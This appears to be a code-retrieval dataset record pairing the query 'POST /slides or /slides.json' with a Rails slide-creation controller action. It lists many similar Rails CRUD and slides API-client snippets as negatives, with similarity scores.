"0.5703236",
"0.5702832",
"0.5680836",
"0.5678265",
"0.5671958",
"0.56707597",
"0.56658494",
"0.5652638",
"0.5652638",
"0.56509894",
"0.5624067",
"0.5613835",
"0.56132317",
"0.56042945",
"0.55982095",
"0.55982095",
"0.55822766",
"0.55798864",
"0.55761653",
"0.557511",
"0.55706674",
"0.55702496",
"0.55699897",
"0.55699897",
"0.55699897",
"0.55698365",
"0.5564163",
"0.55630136",
"0.5555468",
"0.5553179",
"0.5549772",
"0.55489224",
"0.5547055",
"0.5541702",
"0.5536967",
"0.5535862",
"0.5535533",
"0.5534073",
"0.55336994",
"0.5505847",
"0.549588",
"0.5489007",
"0.5489007",
"0.5483344"
] |
0.0
|
-1
|
POST /slides or /slides.json
|
def create
@slide = Slide.new(slide_params)
respond_to do |format|
if @slide.save
format.html { redirect_to @slide, notice: "Slide was successfully created." }
format.json { render :show, status: :created, location: @slide }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @slide.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page_slide = Slide.new(params[:page_slide])\n\n respond_to do |format|\n if @page_slide.save\n format.html { redirect_to @page_slide, notice: 'Slide was successfully created.' }\n format.json { render json: @page_slide, status: :created, location: @page_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n newparams = coerce(params) \n @slide = Slide.new(newparams[:slide])\n @slide.name = @slide.image_file_name\n @slide.position = @slide.presentation.slides.count + 1\n if @slide.save\n flash[:notice] = \"Successfully created slide.\"\n respond_to do |format| \n format.html {redirect_to @slide.presentation} \n format.json { render :json => { :result => 'success', :slide => slide_url(@slide) } }\n end\n else\n render :action => 'new'\n end\n end",
"def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to slides_url, notice: '幻灯片创建成功.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slide = Slide.new(slide_params)\n @slide.presentation = @presentation\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to location: presentation_slides_url(@presentation), notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to [:admin, @slide], notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @page_slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def create\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build slide_params\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_created')) }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slide = Slide.new(params[:slide])\n\n # If we're creating a new slide from the slideshow editing page, add the\n # slide to the slideshow and then redirect to the slideshow edit screen.\n @slide.slideshows << (@slideshow = Slideshow.find(params[:slideshow_id])) if params[:slideshow_id]\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to (@slideshow ? edit_slideshow_path(@slideshow) : @slide), notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def saveSlide\n if params[:mode] == 'I'\n update = SlidesHlp.saveSlide(params[:slide])\n else\n update = SlidesHlp.updateSlide(params[:slide])\n end\n render json: update\n end",
"def new\n @pslide = Pslide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pslide }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n @slides = @slideshow.slides\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n uploaded_io = params[:image_this]\n slide = Slide.new\n slide.user_id = current_user.id\n slide.file = uploaded_io\n if slide.save\n if params[:name].present?\n name = params[:name]\n else\n name = slide.file.to_s.split('/').last\n end\n\n if params[:tags].present?\n params[:tags].split(',').each do |tag|\n t = Tag.find_or_create_by(:name => tag)\n Tagging.create(:tag_id => t.id, :slide_id => slide.id, :user_id => current_user.id)\n end\n end\n\n slide.update_attributes(:name => name)\n out = 'success'\n else\n out = 'fail'\n end\n render :json => { :outcome => out, :url => slide.file.thumb.url }\n end",
"def create\n @slide = Slide.new(slide_params)\n respond_to do |format|\n if @slide.save\n @slide.take_screenshot\n @slide.create_activity(:create, owner: current_user, parameters: { name: @slide.menu_name })\n current_user.slides << @slide\n format.html { redirect_to edit_slide_path(@slide) }\n format.json { render :show, status: :created, location: @slide }\n else\n format.html { render :new }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def create\n @mode = 'I'\n render 'admin/slides/slide'\n end",
"def index\n @title = t('view.slides.index_title')\n @slides = @lesson.slides.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end",
"def create\n @slide_image = SlideImage.new(params[:slide_image])\n\n respond_to do |format|\n if @slide_image.save\n format.html { redirect_to @slide_image, notice: 'Slide image was successfully created.' }\n format.json { render json: @slide_image, status: :created, location: @slide_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @page_slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def create_notes_slide_with_http_info(name, slide_index, dto, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.create_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.create_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.create_notes_slide\"\n end\n # verify the required parameter 'dto' is set\n if @api_client.config.client_side_validation && dto.nil?\n fail ArgumentError, \"Missing the required parameter 'dto' when calling SlidesApi.create_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dto)\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def new\n @slide_image = SlideImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def create\n inform = Inform.find(params[:inform_id])\n slide = inform.slides.build(slide_params)\n slide.user_id = current_user.id\n\n if slide.save\n redirect_to inform, notice: 'La placa ha sido creada exitosamente.'\n else\n render :new\n end\n end",
"def create\n @presentation = Presentation.new(presentation_params)\n @presentation.user = current_user\n \n respond_to do |format|\n if @presentation.save\n format.html { redirect_to presentation_slides_path(@presentation), notice: 'Presentation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @presentation }\n else\n format.html { render action: 'new' }\n format.json { render json: @presentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def slides\n @id = params[:id]\n @item = Item.find(@id)\n begin\n @slides = @item.images.where(['publish=?', true]).order('position')\n rescue => error\n flash[:error] = error.message\n ensure\n # no slides found so create some\n if @slides.empty?\n @slides = @item.create_images\n end\n end\n unless @id.nil? || @slides.nil? || @slides.empty?\n respond_to do |format|\n format.xml\n end\n else\n flash[:error] = 'Unable to locate process slides for id number ' + params[:id].to_s + '.'\n end\n end",
"def index\n @slides = Slide.all\n end",
"def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to(@slideshow, :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @promo_slide = PromoSlide.new(promo_slide_params)\n respond_to do |format|\n if @promo_slide.save\n format.html { redirect_to @promo_slide, notice: 'Promo slide was successfully created.' }\n format.json { render json: @promo_slide, status: :created, location: @promo_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promo_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @title = t('view.slides.show_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def create\n return false if !userCan :slide\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n if params[:projector_add] then\n params[:projector_add].each {|v|\n Projector.find(v).update_attributes(:slide_id => params[:id]);\n Message.Command(:id => \"projector-#{v}\", :cmd => \"load\", :slide => params[:id])\n }\n end\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slidedeck = Slidedeck.new(slidedeck_params)\n\n respond_to do |format|\n if @slidedeck.save\n format.html { redirect_to @slidedeck, notice: 'Slidedeck was successfully created.' }\n format.json { render :show, status: :created, location: @slidedeck }\n else\n format.html { render :new }\n format.json { render json: @slidedeck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, build_resource\n\n respond_to do |format|\n if resource.save\n format.html { redirect_to lecture_path(@lecture), notice: 'Slideset was successfully created.' }\n format.json { render json: resource, status: :created, location: resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # authorize\n authorize! :create, Slideshow\n @slideshow = Slideshow.new(slideshow_params)\n \n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to edit_admin_slideshow_path(@slideshow.id), notice: 'Tạo mới trình chiếu thành công.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slideshow = Slideshow.new(params[:slideshow])\n @user.slideshows << @slideshow\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n return false if !userCan :slide\n @slide = Slide.new\n @items = Item.find(:all, :order => \"position\")\n @agendas= Agenda.find(:all, :order => \"position\")\n @projectors = Projector.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def create\n @web_slide = WebSlide.new(params[:web_slide])\n\n respond_to do |format|\n if @web_slide.save\n format.html { redirect_to(@web_slide, :notice => 'Web slide was successfully created.') }\n format.xml { render :xml => @web_slide, :status => :created, :location => @web_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @web_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def upload_slideshow username, password, slideshow_title, options = {}\n do_request 'upload_slideshow', options.merge(username: username, password: password,\n slideshow_title: slideshow_title)\n end",
"def create(url=\"\")\n if url.present?\n @slideshow = Slideshow.new\n @slideshow.name = url\n else\n @slideshow = Slideshow.new(params[:slideshow])\n end\n @slideshow.slide_order_hash = {}\n respond_to do |format|\n \n if @slideshow.save\n format.html { \n redirect_to(\"/#{@slideshow.name}/new\", :notice => 'Slideshow was successfully created.') } #CONSTRUCTION, finish this path after completing routes\n \n #format.html { redirect_to(new_slideshow_slide_path(@slideshow), :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @page_slide = Slide.find(params[:id])\n @page_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to page_slides_url }\n format.json { head :no_content }\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to \"/slides\", notice: 'slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slide_deck = SlideDeck.new(slide_deck_params)\n\n respond_to do |format|\n if @slide_deck.save\n format.html { redirect_to @slide_deck, notice: 'Slide deck was successfully created.' }\n format.json { render :show, status: :created, location: @slide_deck }\n else\n format.html { render :new }\n format.json { render json: @slide_deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @slideshow_item = SlideshowItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"def get_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slides')\n return data, status_code, headers\n end",
"def new\n @promo_slide = PromoSlide.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promo_slide }\n end\n end",
"def destroy\n @slide = @lesson.slides.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_slides_url(@lesson)) }\n format.json { head :ok }\n end\n end",
"def new\n @slideshow = Slideshow.new\n @user.slideshows << @slideshow\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def show\n @slides =@lecture.slides(params[:urlpage])\n \n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def destroy\n @slide.destroy\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def get_notes_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def index\n @write_right = userCould :slide\n if params[:search] then\n @slides = Slide.find(:all, :conditions => [\"name LIKE ?\", \"%#{params[:search]}%\"])\n redirect_to @slides[0] if @slides.count == 1\n else\n @slides = Slide.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end\n end",
"def create\n @slideshow_item = SlideshowItem.new(params[:slideshow_item])\n\n respond_to do |format|\n if @slideshow_item.save\n format.html { redirect_to @slideshow_item, notice: \"\\\"#{@slideshow_item.title}\\\" was successfully created.\".html_safe }\n format.json { render json: @slideshow_item, status: :created, location: @slideshow_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(content_params)\n @content.presentation_id = @presentation.id\n @content.slide_id = @slide.id\n \n respond_to do |format|\n if @content.save\n format.html { redirect_to presentation_slide_content_path(@presentation, @slide, @content), notice: 'Content was successfully created.' }\n format.json { render action: 'show', status: :created, location: @content }\n else\n format.html { render action: 'new' }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def slide_params\n params.require(:slide).permit(:title, :header, :number, :body, :presentation_id)\n end",
"def create\n @image_slider = ImageSlider.new(image_slider_params)\n\n respond_to do |format|\n if @image_slider.save\n format.html { redirect_to @image_slider, notice: 'Image slider was successfully created.' }\n format.json { render :show, status: :created, location: @image_slider }\n else\n format.html { render :new }\n format.json { render json: @image_slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def referSlide\n result = Hash.new\n result['status'] = true\n begin # try\n result['data'] = Slide.find_by( id: params[:id], lang: params[:lang], deleted_at: nil)\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def slide_params\n params.require(:slide).permit(:name, :slides_to_add, :file)\n end",
"def slide_params\n params.require(:slide).permit(:name, :slimg)\n end",
"def show\n @slideshow_item = SlideshowItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"def show\n @slide_image = SlideImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to :back, notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def slide_params\n params.require(:slide).permit(:start_time, :title, :image_id, :notes, :slide_type)\n end",
"def update_notes_slide_with_http_info(name, slide_index, dto, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.update_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.update_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.update_notes_slide\"\n end\n # verify the required parameter 'dto' is set\n if @api_client.config.client_side_validation && dto.nil?\n fail ArgumentError, \"Missing the required parameter 'dto' when calling SlidesApi.update_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dto)\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def create\n @lecture = Lecture.new(lecture_params)\n @lecture.my_file = params[:file]\n if @lecture.save\n @f = @lecture.my_file.to_s.downcase\n @pdf = Grim.reap(@lecture.my_file.to_s)\n @count = @pdf.count\n @filename = @lecture.my_file.to_s.split('/').last\n @counter = 0\n @pdf.each do |page|\n page.save(\"./#{@filename}page_#{ @counter }.png\")\n @lecture.slides.create(:urlpage => \"#{@filename}page_#{ @counter }.png\")\n @counter +=1\n end\n redirect_to 'index'\n\n\n\n end\n \n end",
"def create\n @roll = Slider.new(roll_params)\n\n respond_to do |format|\n if @roll.save\n format.html { redirect_to sliders_path, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @roll }\n else\n format.html { render :new }\n format.json { render json: @roll.errors, status: :unprocessable_entity }\n end\n end\n end",
"def slide_params\n params.require(:slide).permit!\n end",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to @slide, notice: \"Slide was successfully updated.\" }\n format.json { render :show, status: :ok, location: @slide }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slideshow = Slideshow.find(params[:id])\n\n @slideshow.slides += params[:add_slides].map{ |es| Slide.find(es) } if params[:add_slides]\n\n @slideshow.slideshow_slides.where(:slide_id => params[:del_slides]).delete_all\n\n respond_to do |format|\n if @slideshow.update_attributes(params[:slideshow])\n format.js { render :nothing => true }\n format.html { redirect_to (params[:existing_slides] ? edit_slideshow_path(@slideshow) : @slideshow), notice: 'Slideshow was successfully updated.' }\n format.json { head :no_content }\n else\n format.js { render :nothing => true }\n format.html { render action: \"edit\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slider_depo = SliderDepo.new(slider_depo_params)\n\n respond_to do |format|\n if @slider_depo.save\n format.html { redirect_to @slider_depo, notice: 'Slider depo was successfully created.' }\n format.json { render :show, status: :created, location: @slider_depo }\n else\n format.html { render :new }\n format.json { render json: @slider_depo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n if @slide.update_attributes(params[:slide])\n format.html { redirect_to @slide, notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def destroy\n @slide.destroy\n respond_to do |format|\n format.html { redirect_to admin_slides_url, notice: 'Slide was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @presentation = Presentation.find_by_name(params[:prez_id])\n @pslide = Pslide.find(params[:id])\n @pcontent=Array.new\n @pbehavior=Pbehavior.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pslide }\n end\n end",
